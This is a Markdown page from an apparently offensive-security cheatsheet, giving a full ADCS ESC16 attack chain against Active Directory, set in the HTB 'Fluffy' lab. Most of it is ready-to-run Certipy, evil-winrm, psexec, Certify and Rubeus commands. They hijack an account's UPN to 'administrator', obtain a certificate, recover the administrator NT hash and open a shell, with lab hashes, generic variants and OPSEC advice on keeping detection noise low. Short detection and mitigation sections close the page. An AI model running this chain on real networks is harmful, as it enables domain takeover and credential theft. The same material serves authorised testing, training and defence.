daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc16-security-extension-disabled-on-ca-globally.md (27288B)


      1 ---
      2 title: "ESC16 — Security Extension Disabled on CA (Globally)"
      3 description: "ESC16 was introduced with Certipy v5 by Oliver Lyak and is one of the newest ADCS attack techniques. The vulnerability exists when the CA has been…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs"]
      7 tools: ["Certipy", "BloodHound", "Evil-WinRM", "faketime", "Certify"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC16 — Security Extension Disabled on CA (Globally).md"
     11 ---
     12 # ESC16 — Security Extension Disabled on CA (Globally)
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | CA-Level Configuration Abuse |
     19 | **Difficulty** | Medium |
     20 | **Pre-requisites** | `szOID_NTDS_CA_SECURITY_EXT` in CA `DisableExtensionList` + GenericWrite on enrollable account |
     21 | **Tools** | Certipy v5+, BloodHound |
     22 | **OPSEC Noise** | Medium — UPN swap generates 4738 events |
     23 | **One-liner** | CA globally disables SID security extension → KDC falls back to UPN matching → swap controlled account's UPN to `administrator` → request cert → authenticate as admin. |
     24 
     25 ***
     26 
     27 ESC16 was introduced with **Certipy v5** by Oliver Lyak and is one of the newest ADCS attack techniques. The vulnerability exists when the CA has been configured to globally disable the `szOID_NTDS_CA_SECURITY_EXT` extension (`1.3.6.1.4.1.311.25.2`) — also known as the **SID security extension**. This extension was Microsoft's patch response to Certifried (CVE-2022-26923) — it embeds the requester's `objectSid` into every issued certificate, allowing the KDC to perform strong certificate binding and verify that the certificate identity matches the AD object.
     28 
     29 When this extension is **disabled at the CA level**, every single certificate issued by that CA lacks the SID binding — making the KDC fall back to **UPN-based authentication** for all certificates. This means the KDC trusts whatever UPN is embedded in the cert without verifying the objectSid — and since you can temporarily swap a controlled account's UPN to `administrator`, you can get a legitimately CA-signed certificate that the DC accepts as proof you are Administrator.
     30 
     31 This is effectively **ESC6's post-patch bypass** — it achieves the same outcome through a different mechanism.
     32 
     33 ***
     34 
     35 ## The Core Mechanism
     36 
     37 The CA stores disabled extensions in a registry key:
     38 
     39 ```
     40 HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>\PolicyModules\
     41 CertificateAuthority_MicrosoftDefault.Policy
     42 DisableExtensionList = 1.3.6.1.4.1.311.25.2
     43 ```
     44 
     45 When `szOID_NTDS_CA_SECURITY_EXT` is in this list, **no certificate issued by this CA will ever contain a SID extension** — regardless of template configuration, regardless of StrongCertificateBindingEnforcement settings on the KDC. The SID extension simply never gets embedded at issuance time.
     46 
     47 ***
     48 
     49 ## Required Conditions
     50 
     51 | Condition | Where to Check |
     52 |-----------|----------------|
     53 | `szOID_NTDS_CA_SECURITY_EXT` in CA's `DisableExtensionList` | CA output: `Security Extension: Disabled` |
     54 | You have **`GenericWrite` or `WriteProperty`** over at least one domain account | BloodHound ACE edges / certipy output |
     55 | That account can **enroll** in a Client Auth template | Template `Enrollment Rights` includes the account or its group |
     56 | `Request Disposition: Issue` | CA config |
     57 
     58 > 💡 The `GenericWrite` account does **not** need to be privileged. On Fluffy, you had `GenericWrite` over `ca_svc` — a service account, not an admin. That was enough.
     59 
     60 ***
     61 
     62 ## Step 0 — Enumeration
     63 
     64 ```bash
     65 # Standard scan
     66 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     67   -dc-ip $TARGET -vulnerable -stdout
     68 
     69 # With hash (PtH) — format is -hashes :NTHASH  (leading colon = empty LM)
     70 certipy-ad find -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
     71   -dc-ip $TARGET -vulnerable -stdout
     72 ```
     73 
     74 > [!bug] `cannot import name 'asn1' from 'cryptography.hazmat'`
     75 > This is **not** a command error — Certipy v5 needs a newer `cryptography` than the stale one in `~/.local`. Certipy runs but every operation dies on import. Fix by reinstalling Certipy in an isolated environment so it pulls its own dependency set:
     76 > ```bash
     77 > pipx install certipy-ad        # or: uv tool install certipy-ad
     78 > ```
     79 > If you must keep the system install, upgrade the shadowing library: `pip install --user --upgrade 'cryptography>=44' asn1crypto`. Confirm with `certipy-ad version`.
     80 
     81 ### What Vulnerable ESC16 Output Looks Like
     82 
     83 ```
     84 Certificate Authorities
     85   0
     86     CA Name                             : fluffy-DC01-CA
     87     DNS Name                            : DC01.fluffy.htb
     88     Web Enrollment
     89       HTTP  Enabled                     : False     ← ESC8 not available
     90       HTTPS Enabled                     : False
     91     User Specified SAN                  : Disabled  ← ESC6 not available
     92     Request Disposition                 : Issue
     93     Enforce Encryption for Requests     : Enabled   ← ESC11 not available
     94 
     95     [!] Vulnerabilities
     96       ESC16 : Security extension is disabled.
     97 ```
     98 
     99 > 💡 This is **exactly what Fluffy showed** — ESC8, ESC6 and ESC11 all closed off, but ESC16 present. The CA had the SID extension globally disabled.
    100 
    101 > [!note] The real tell is `Disabled Extensions`, and an empty template list is normal
    102 > Depending on version, Certipy may not print a tidy `ESC16 : Security extension is disabled` line. The definitive indicator is on the CA object:
    103 > ```
    104 > Disabled Extensions : 1.3.6.1.4.1.311.25.2
    105 > ```
    106 > `1.3.6.1.4.1.311.25.2` **is** `szOID_NTDS_CA_SECURITY_EXT`. If it appears in `Disabled Extensions`, the CA is ESC16-vulnerable — full stop.
    107 >
    108 > Running with `-vulnerable` and seeing `Certificate Templates : [!] Could not find any certificate templates` is **expected, not a failure**. `-vulnerable` filters to *template-level* findings (ESC1/2/3/4/9/13/15…); ESC16 is a **CA-wide** flaw, so it shows under the CA config while the filtered template list is empty. To choose a template to enrol in, re-run **without** `-vulnerable` and pick one with a Client Authentication / Smart Card Logon / PKINIT EKU (e.g. `User`).
    109 >
    110 > Harmless noise in the same run: `Failed to connect to remote registry ... Trying again` (RRP starts the service and retries) and `Error checking web enrollment: timed out` (Web Enrollment is `Enabled: False` — only relevant to ESC8).
    111 
    112 > [!warning] The `ESC16` verdict only prints if you authenticate as an account that can **enroll**
    113 > This is the #1 reason people see `Disabled Extensions : 1.3.6.1.4.1.311.25.2` but **no** `[!] Vulnerabilities → ESC16` line. Certipy gates the verdict (`find.py`):
    114 > ```python
    115 > if disabled_extensions and will_issue and user_can_enroll:   # ← user_can_enroll
    116 >     vulnerabilities["ESC16"] = "Security Extension is disabled."
    117 > ```
    118 > `user_can_enroll` means *the account in `-u`* holds the **Enroll** right on the CA. On Fluffy the CA grants `Enroll` to `Cert Publishers` (and `Administrators`) — and **`ca_svc` is in Cert Publishers, `winrm_svc` is not.**
    119 > ```bash
    120 > # As winrm_svc → Disabled Extensions shown, but NO ESC16 line (winrm_svc can't enroll)
    121 > certipy-ad find -u winrm_svc@fluffy.htb -hashes :33bd... -dc-ip $DC -vulnerable -stdout
    122 >
    123 > # As ca_svc → ESC16 verdict prints (ca_svc enrolls via Cert Publishers)
    124 > certipy-ad find -u ca_svc@fluffy.htb -hashes :ca0f... -dc-ip $DC -vulnerable -stdout
    125 > ```
    126 > Enumerate ESC16 as the **enroller**, not the writer. Either way `Disabled Extensions : 1.3.6.1.4.1.311.25.2` alone already proves the CA is vulnerable — the verdict line is just certipy confirming *you* can reach it.
    127 
    128 ***
    129 
    130 ## Full Attack Chain — Linux (Certipy v5.1.0)
    131 
    132 The attack is a **4-step chain**: read + hijack the UPN → request the cert as the controlled account → restore the UPN → authenticate. Commands below use the real Fluffy values (`winrm_svc` hash `33bd09...`, `ca_svc` hash `ca0f4f...`).
    133 
    134 > [!warning] `account` actions are `create` / `read` / `update` / `delete`
    135 > There is **no `lookup` action**. Use `read` to view an account and `update` to change it. The action is a positional argument at the **end** of the command, and `-user <SAM>` is required.
    136 
    137 > [!note] Why two different accounts? (This is not overcomplication)
    138 > The chain uses **two accounts for two distinct jobs**, and on Fluffy you cannot merge them:
    139 > - **The *writer* (`winrm_svc`)** — the account that can write the target's `userPrincipalName`. On Fluffy this right is **not held by winrm_svc directly** — it belongs to the **`Service Accounts` group**, which has `GenericWrite` over `ca_svc`. `winrm_svc` is a *member* of that group, so it inherits the write. It runs every `account read`/`update` command (authenticated as `-u winrm_svc`, targeting `-user ca_svc`).
    140 > - **The *enroller* (`ca_svc`)** — the account with enrollment rights on the CA (here via Cert Publishers). It runs the `req` command (authenticated as `-u ca_svc`), because its UPN is the one you hijacked.
    141 >
    142 > **Why the ca_svc hash alone is not enough:** having `ca_svc`'s hash lets you *authenticate as* ca_svc, but ca_svc is **not** a member of `Service Accounts` — it is the *target* of that group's `GenericWrite`, so it cannot rename itself. An account cannot rewrite its own UPN unless it explicitly holds that right. The rename right lives on the group; your way into the group is `winrm_svc`. Hash = who you are; the ACE = what you may do.
    143 >
    144 > **When one account is enough:** if a single account can *both* enroll *and* have its UPN written by you (e.g. a computer account you created via MAQ — see Scenario 3 — or any account you have `GenericWrite` over that also enrolls), use it for every step and the `-u` is identical throughout. Fluffy needs two only because ca_svc holds the enrollment right while a *different* principal (the Service Accounts group, reachable via winrm_svc) holds the write over ca_svc.
    145 >
    146 > **Do you even need the `read` step?** No — it only records the original UPN so you can restore it exactly in Step 3. If you already know it (`ca_svc@fluffy.htb`), skip straight to the `update`. The **restore in Step 3 is not optional**, though: `certipy auth` fails with `KDC_ERR_CLIENT_NAME_MISMATCH` until the controlled account stops squatting the victim's UPN (see Step 3). The `.pfx` stays valid regardless; the *auth* does not work until you restore.
    147 
    148 ***
    149 
    150 ### Step 1 — Read, then hijack ca_svc's UPN
    151 
    152 You need write over the controlled account's `userPrincipalName` (here `winrm_svc` can write `ca_svc` **because the `Service Accounts` group holds `GenericWrite` over `ca_svc` and `winrm_svc` is a member** — ca_svc itself is not, so it cannot rename itself), and `ca_svc` must be able to enrol in a Client Auth template (e.g. `User`).
    153 
    154 ```bash
    155 # Read the current UPN first so you can restore it exactly
    156 certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
    157   -dc-ip $TARGET -user ca_svc read
    158 ```
    159 
    160 ```bash
    161 # Set ca_svc's UPN to the target identity
    162 certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
    163   -dc-ip $TARGET -user ca_svc -upn administrator update
    164 ```
    165 
    166 > [!warning] Do Step 2 immediately, and always restore in Step 3 before Step 4
    167 > The UPN swap is a live AD change. Request the cert right away, then **restore in Step 3 before you authenticate** — the restore is mandatory, not just hygiene (Step 4 fails with a name mismatch otherwise), and it also avoids breaking `ca_svc` auth and shrinks the detection window.
    168 
    169 ***
    170 
    171 ### Step 2 — Request a certificate as ca_svc
    172 
    173 Enrol as `ca_svc` (whose UPN is now `administrator`) in a Client Auth template. Because the CA strips the SID extension (ESC16), the issued cert maps by UPN, so it authenticates as Administrator.
    174 
    175 ```bash
    176 certipy-ad req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
    177   -dc-ip $TARGET -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User
    178 # → Got certificate with UPN 'administrator' ; saved administrator.pfx
    179 ```
    180 
    181 ***
    182 
    183 ### Step 3 — Restore the UPN — REQUIRED before you authenticate
    184 
    185 ```bash
    186 certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
    187   -dc-ip $TARGET -user ca_svc -upn ca_svc@fluffy.htb update
    188 ```
    189 
    190 > [!danger] This is not just cleanup — Step 4 FAILS without it
    191 > While `ca_svc` still holds `userPrincipalName = administrator`, the cert's UPN `administrator` maps **to ca_svc**, not to the real Administrator (ESC16 certs carry no SID, so the KDC maps purely by name — and your account is squatting that name). Authenticating then dies with:
    192 > ```
    193 > [-] Name mismatch between certificate and user 'administrator'
    194 > ```
    195 > which is the KDC returning `KDC_ERR_CLIENT_NAME_MISMATCH`. **Restore the UPN first**, so nothing else claims `administrator`; the KDC then falls back to the built-in Administrator's `sAMAccountName` and the auth maps correctly. The `.pfx` itself never expires from this — restoring does **not** invalidate it (identity is locked in at signing) — but the *authentication* will keep failing until you restore. Order is fixed: swap → req → **restore** → auth.
    196 
    197 ***
    198 
    199 ### Step 4 — Authenticate with the cert for the admin NT hash
    200 
    201 ```bash
    202 certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb
    203 # → Got hash for 'administrator@fluffy.htb': aad3b435...:8da83a3fa618b6e3a00e93f676c92a6e
    204 ```
    205 
    206 > [!warning] Clock skew (Fluffy)
    207 > `certipy auth` uses PKINIT and does **not** self-correct skew. If it throws `KRB_AP_ERR_SKEW`, prefix `faketime` (see faketime-cheatsheet) or sync your clock: `sudo rdate -n $TARGET`.
    208 > ```bash
    209 > faketime -f '+7h' certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb
    210 > ```
    211 
    212 ***
    213 
    214 ### Step 5 — Shell
    215 
    216 **Preferred — pass-the-hash over WinRM (no DCOM, no Kerberos):**
    217 ```bash
    218 evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
    219 ```
    220 
    221 **Kerberos wmiexec — only if RPC/DCOM is reachable:**
    222 ```bash
    223 export KRB5CCNAME=administrator.ccache
    224 wmiexec.py -k -no-pass DC01.fluffy.htb
    225 ```
    226 
    227 > [!warning] `wmiexec` needs DCOM (port 135 + a dynamic high RPC port) — often filtered on a DC
    228 > On Fluffy, `135` is filtered while `445` and `5985` are open, so `wmiexec.py` negotiates SMB then dies with `Could not connect: timed out` on the DCOM leg. That is a **port/firewall** problem, not a bad ticket. Use a method that fits the open ports:
    229 > - **WinRM 5985** → `evil-winrm` (above) — cleanest with the NT hash.
    230 > - **SMB 445** → `psexec.py` / `atexec.py` / `smbexec.py`, e.g. `psexec.py -hashes :8da83a3fa618b6e3a00e93f676c92a6e administrator@$TARGET`.
    231 >
    232 > **Pass-the-hash (NTLM) also sidesteps clock skew.** Any `-k`/Kerberos tool fails with `KRB_AP_ERR_SKEW` if your clock is >5 min off the DC — sync first (`sudo ntpdate -u $TARGET` or `sudo rdate -n $TARGET`) or prefix `faketime`. The `-H <hash>` methods above use NTLM and don't care about the clock.
    233 
    234 ***
    235 
    236 ## Generic Exploitation — Every Way to Do It
    237 
    238 Fluffy is only one shape of ESC16. Strip it to the essentials: you need an account you can **(1) authenticate as so it can enroll**, and whose **(2) `userPrincipalName` you can set to a victim**. Solve those two sub-problems independently and *any* combination works. The pattern is always **write the UPN → enroll → restore → auth**; only *how you obtain the account* and *who writes the UPN* changes.
    239 
    240 ### The two sub-problems
    241 
    242 **(1) An enroll-capable account you can authenticate as.** Any account with enrollment rights on a Client-Auth template — the default `User` template lets all Domain Users enroll. You obtain one by:
    243 
    244 | Method | Requirement | Result |
    245 |---|---|---|
    246 | Already have creds | you hold its password / NT hash | ready to enroll (Fluffy: `ca_svc`) |
    247 | **Shadow Credentials** | `GenericWrite`/`GenericAll`/`AddKeyCredentialLink` over it | PKINIT → its NT hash |
    248 | **Password reset** | `ForceChangePassword`/`GenericAll` over it | set a password you know |
    249 | **Create one** | `ms-DS-MachineAccountQuota > 0` (default 10) | a computer account you fully own |
    250 
    251 **(2) Write access to that account's `userPrincipalName`:**
    252 
    253 | Method | Requirement |
    254 |---|---|
    255 | Direct ACL | `GenericWrite` / `GenericAll` / `WriteProperty(userPrincipalName)` over the account |
    256 | Ownership | you created the account (MAQ) → you own every attribute |
    257 | Separate writer | a *different* principal holds the write edge (Fluffy: `winrm_svc → ca_svc`) |
    258 
    259 If one account satisfies both, it is a **one-account** attack. If the write comes from a different principal, it is **two**. Nothing else changes.
    260 
    261 ### Scenario matrix
    262 
    263 | # | What you hold | Enroll as | Who writes the UPN | Accounts |
    264 |---|---|---|---|---|
    265 | 1 | `GenericAll`/`GenericWrite` over target `T` (no creds yet) | `T` after Shadow Creds | you (over `T`) | one |
    266 | 2 | Creds for `E` **+** separate writer `W` with `GenericWrite`→`E` | `E` | `W` | two (Fluffy) |
    267 | 3 | `MachineAccountQuota > 0` | new `EVILPC$` | you (own it) | one (created) |
    268 | 4 | `GenericAll`/`ForceChangePassword` over user `T` | `T` after pw reset | you (over `T`) | one |
    269 
    270 ***
    271 
    272 ### Scenario 1 — One account you have GenericWrite/GenericAll over (no creds yet)
    273 
    274 A single control primitive does the whole chain: shadow-cred it for a hash, then swap its UPN and enroll as it.
    275 
    276 ```bash
    277 # 0. Confirm ESC16
    278 certipy-ad find -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -vulnerable -stdout
    279 
    280 # 1. Recover the target's hash via Shadow Credentials
    281 certipy-ad shadow auto -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -dc-host dc01.domain.htb -account target_svc
    282 #    → NT hash for target_svc
    283 
    284 # 2. Hijack its UPN to the victim
    285 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn administrator update
    286 
    287 # 3. Enroll AS the target (its UPN is now administrator)
    288 certipy-ad req -u target_svc -hashes :<target_hash> -dc-ip $DC -target dc01.domain.htb -ca 'DOMAIN-CA' -template User
    289 
    290 # 4. Restore the UPN, then authenticate with the cert
    291 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn 'target_svc@domain.htb' update
    292 certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC
    293 ```
    294 
    295 ### Scenario 2 — Two accounts (the Fluffy shape)
    296 
    297 Writer ≠ enroller — you hold creds for both. Generic form of the full chain above:
    298 
    299 ```bash
    300 certipy-ad account -u writer@domain.htb   -hashes :<writer_hash>   -dc-ip $DC -user enroller -upn administrator update
    301 certipy-ad req     -u enroller            -hashes :<enroller_hash> -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User
    302 certipy-ad account -u writer@domain.htb   -hashes :<writer_hash>   -dc-ip $DC -user enroller -upn 'enroller@domain.htb' update
    303 certipy-ad auth    -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC
    304 ```
    305 
    306 ### Scenario 3 — MachineAccountQuota (bring your own account)
    307 
    308 No pre-existing writable account required if you can add machines. You own what you create, so you control its UPN outright.
    309 
    310 ```bash
    311 # 1. Create a computer account you fully control
    312 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -pass 'Passw0rd!' create
    313 #    (equivalents: addcomputer.py -computer-name EVILPC$ ... / Powermad New-MachineAccount)
    314 
    315 # 2. Set its UPN to the victim
    316 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn administrator update
    317 
    318 # 3. Enroll as EVILPC$ in a template it can enroll in
    319 certipy-ad req -u 'EVILPC$' -p 'Passw0rd!' -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User
    320 
    321 # 4. Clear EVILPC$'s UPN BEFORE auth (else the cert maps back to EVILPC$, not the victim)
    322 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn 'EVILPC$@domain.htb' update
    323 #    (or just delete the machine: certipy-ad account ... -user 'EVILPC$' delete)
    324 
    325 # 5. Auth
    326 certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC
    327 ```
    328 
    329 > Computer accounts have **no UPN by default** — setting one is exactly the ESC16 lever. Enroll in a template whose enrollment scope includes computers (or `Domain Computers`), or one that emits the UPN.
    330 
    331 ### Scenario 4 — ForceChangePassword / GenericAll over a user
    332 
    333 ```bash
    334 # 1. Reset the target's password (any of these, per the right you hold)
    335 certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_user -pass 'NewPass123!' update
    336 #    equivalents: net rpc password / bloodyAD set password / pth changepasswd
    337 # 2-4. Continue exactly as Scenario 1 from the UPN swap, authenticating as target_user with the new password.
    338 ```
    339 
    340 ***
    341 
    342 ### Choosing the victim and the template
    343 
    344 - **Victim** is any privileged identity, not just `administrator` — any Domain Admin or DA-equivalent works. Use the **bare `sAMAccountName`** as the UPN value (e.g. `administrator`, not `administrator@domain.htb`) so it matches the victim's *implicit* UPN. This only works if the victim has **no explicit `userPrincipalName`** already set (the built-in Administrator usually does not); if it does, set your controlled account's UPN to that exact string instead.
    345 - **Template** must carry a **Client Authentication**, **Smart Card Logon**, or **PKINIT** EKU and permit your enroll account to enroll. Default `User` (for users) and `Machine` (for computers) normally qualify. Machine/computer certificates map by **DNS**, so when enrolling with a computer account for a UPN-based ESC16, prefer a user-style template or one that emits the UPN.
    346 - **Any CA on the domain with ESC16 set** is usable — you are not tied to the CA that issued other certs. `certipy find -vulnerable` lists every affected CA; pass the right `-ca` / `-target`.
    347 
    348 ### Windows tooling (Certify + Rubeus)
    349 
    350 ```text
    351 # Enumerate
    352 Certify.exe find /vulnerable
    353 
    354 # Swap the UPN with native tooling, then request:
    355 Set-ADUser target_svc -UserPrincipalName administrator          # or PowerView Set-DomainObject
    356 Certify.exe request /ca:CA-HOST\CA-NAME /template:User          # run as target_svc
    357 Set-ADUser target_svc -UserPrincipalName target_svc@domain.htb  # restore
    358 
    359 # Convert + authenticate
    360 Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-pw> /ptt
    361 ```
    362 
    363 ***
    364 
    365 ## ESC16 Visual Attack Flow (Fluffy-style)
    366 
    367 ```
    368 [winrm_svc ∈ Service Accounts group ─ group has GenericWrite over ca_svc]
    369             │  (ca_svc cannot rename itself; winrm_svc inherits the write via the group)
    370             │  certipy account -u winrm_svc -user ca_svc -upn administrator update
    371             ▼
    372 [ca_svc.userPrincipalName = "administrator"]  ← Temporary
    373             │
    374             │  certipy req -u ca_svc -template User
    375             │  CA issues cert — reads UPN = "administrator"
    376             │  No SID extension embedded (ESC16)
    377             ▼
    378 [administrator.pfx] ← Signed by CA with UPN = administrator
    379             │
    380             │  certipy account -user ca_svc -upn ca_svc@fluffy.htb update
    381             ▼
    382 [UPN restored] ← REQUIRED before auth (else cert maps back to ca_svc); .pfx still valid forever
    383             │
    384             │  certipy auth -pfx administrator.pfx
    385             ▼
    386 [TGT + NT Hash for Administrator]
    387             │
    388             ▼
    389       [DOMAIN OWNED]
    390 ```
    391 
    392 ***
    393 
    394 ## ESC16 vs ESC9 — The Relationship
    395 
    396 ESC16 is the CA-level version of ESC9. The difference:
    397 
    398 | | ESC9 | ESC16 |
    399 |---|---|---|
    400 | **Where flag is set** | Per-template: `CT_FLAG_NO_SECURITY_EXTENSION` | **CA-wide: `DisableExtensionList`** |
    401 | **Templates affected** | Only templates with the flag | **Every template on that CA** |
    402 | **Certipy detects as** | ESC9 on specific template | ESC16 on CA object |
    403 | **Attack chain** | UPN swap → req → restore | UPN swap → req → restore (identical) |
    404 | **Introduced** | SpecterOps 2021 | **Oliver Lyak, Certipy v5, 2024** |
    405 
    406 ***
    407 
    408 ## ESC16 vs ESC6 — Post-Patch Equivalence
    409 
    410 | | ESC6 | ESC16 |
    411 |---|---|---|
    412 | **Mechanism** | CA accepts user-specified SAN at enrollment | CA doesn't embed SID — KDC falls back to UPN matching |
    413 | **Post-KB5014754** | Blocked if `StrongCertificateBindingEnforcement = 2` | ✅ **Still works** — SID is never in cert so enforcement is bypassed at source |
    414 | **Requires UPN swap** | ❌ — inject SAN directly | ✅ — must temporarily swap UPN |
    415 | **Modern relevance** | Largely historical | ✅ **Current and dangerous** |
    416 
    417 ***
    418 
    419 ## Detection Indicators
    420 
    421 - **Event ID 4738** — User account changed — specifically watch for `userPrincipalName` attribute being modified on service or machine accounts
    422 - **Rapid pair of 4738 events** — UPN changed then immediately changed back within seconds is the ESC16 fingerprint
    423 - **Event ID 4887** — Certificate issued where the UPN in the cert differs from the account's permanent UPN in AD
    424 - **CA registry audit** — Alert on any modification to the `DisableExtensionList` registry value
    425 - **BloodHound** — `GenericWrite` edges from low-priv principals to accounts with enrollment rights are the pre-condition indicator
    426 
    427 ***
    428 
    429 ## Mitigation
    430 
    431 - **Remove `szOID_NTDS_CA_SECURITY_EXT` from `DisableExtensionList`** — this is the direct fix; the SID extension must be re-enabled:
    432   ```powershell
    433   # On the CA server
    434   certutil -setreg CA\DisableExtensionList -
    435   net stop certsvc && net start certsvc
    436   ```
    437 - **Set `StrongCertificateBindingEnforcement = 2`** on all DCs — enforces SID validation on cert auth
    438 - **Audit `GenericWrite` ACEs** — Any low-priv principal with `GenericWrite` over an account that can enroll in auth templates is a pre-condition for ESC16
    439 - **Monitor UPN changes** on accounts that hold enrollment rights — UPN modifications are rare and should always alert
    440 - **Re-issue all certificates** after enabling the SID extension — existing certs without objectSid remain exploitable until they expire
    441 
    442 ***
    443 
    444 ## OPSEC Considerations
    445 
    446 | Action | Event Generated | Noise Level |
    447 |--------|----------------|-------------|
    448 | UPN swap on controlled account | Event ID 4738 (User Account Changed) | 🟡 Medium |
    449 | Certificate request | Event ID 4887 on CA | 🟢 Low |
    450 | UPN restore | Event ID 4738 (second occurrence) | 🟡 Medium |
    451 | PKINIT authentication | Event ID 4768 (TGT request) | 🟢 Low |
    452 
    453 > ⚠️ The **rapid pair of 4738 events** (UPN changed → UPN restored within seconds) is the primary detection fingerprint. Minimize the time between Steps 3–5. The certificate request itself is low-noise since it goes through a legitimate template.
    454 
    455 ***
    456 
    457 ## References
    458 
    459 - [ESC16 — SpecterOps GhostPack Docs](https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc16-security-extension-disabled-on-certificate-authority)
    460 - [Certipy v5 Release & ESC16 — Oliver Lyak](https://github.com/ly4k/Certipy/discussions/270)
    461 - [ADCS ESC16 — Hacking Articles](https://www.hackingarticles.in/adcs-esc16-security-extension-disabled-on-ca-globally/)
    462 - [Certipy Privilege Escalation Wiki](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation)
    463 - [Active Directory Certificate ESC Attacks — InternalAllTheThings](/internal/active-directory/ad-adcs-esc)
    464 - [Fortifying ADCS Against Exploitation — NCC Group](https://www.nccgroup.com/research/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/)